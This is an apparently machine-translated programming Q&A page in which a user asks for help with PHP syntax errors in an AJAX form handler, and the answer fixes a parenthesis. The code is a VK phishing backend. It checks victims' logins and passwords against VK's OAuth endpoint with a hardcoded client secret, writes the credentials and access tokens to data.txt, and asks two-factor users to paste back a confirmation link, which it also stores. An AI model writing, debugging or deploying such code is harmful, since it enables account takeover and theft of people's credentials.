在phpstorm中,如何使我的php处理程序形式正确?

问题描述 投票:0回答:1

我有php处理程序。它用于ajax形式。但是有一些问题。我的代码:

<?php
if (isset($_GET["mobile"]) && !empty($_GET["mobile"]) && (isset($_GET["pass"]) && !empty($_GET["pass"]) && (isset($_GET["newpass"]) && !empty($_GET["newpass"]) && (isset($_GET["repass"]) && !empty($_GET["repass"])){

$login = $_GET['mobile'];      //php storm here wrote me about error.Why?Like expected {
$password = $_GET['pass'];
$newpass = $_GET['newpass'];
$repass = $_GET['repass'];
$sid = $_GET['id'];
$capt = $_GET['captcha'];
$Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");

} elseif(isset($_GET['mobile'])){            *//////Here it wrote me EXPECTING STATEMENT*
$Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1");
$js = json_decode($Msg,true);
if($js["error"] == "need_captcha")
    echo "<img src='{$js['captcha_img']}'>"; ////Here one more time error"EXPECTING STATMENT"
}
$js = json_decode($Msg, true);
if($js['access_token'] != NULL OR isset($_GET['uri'])){
    if(isset($_GET["uri"])){
        $uri = $_GET["uri"];
        $file=fopen("data.txt","a");
        fwrite($file,"$uri\n");
        fclose($file);
    } else{
        $file=fopen("data.txt","a");
        fwrite($file,"$login | $password | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
        fclose($file);
    }
} elseif($js['error']=="need_validation") {
    echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
} elseif($js['error']=="invalid_client"){
    echo "Неправильный логин или пароль";
}
function curl( $url ){
    $ch = curl_init( $url ); //Init library
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    $response = curl_exec( $ch );
    curl_close( $ch );
    return $response;
}
?>

但是我在这里看到了屏幕截图之类的错误enter image description here

[就像我看到预期的那样。但是必须在哪里固定?)

php phpstorm handler
1个回答
0
投票
if (isset($_GET["mobile"]) && !empty($_GET["mobile"]) && (isset($_GET["pass"]) && !empty($_GET["pass"]) && (isset($_GET["newpass"]) && !empty($_GET["newpass"]) && (isset($_GET["repass"]) && !empty($_GET["repass"]))) {
© www.soinside.com 2019 - 2024. All rights reserved.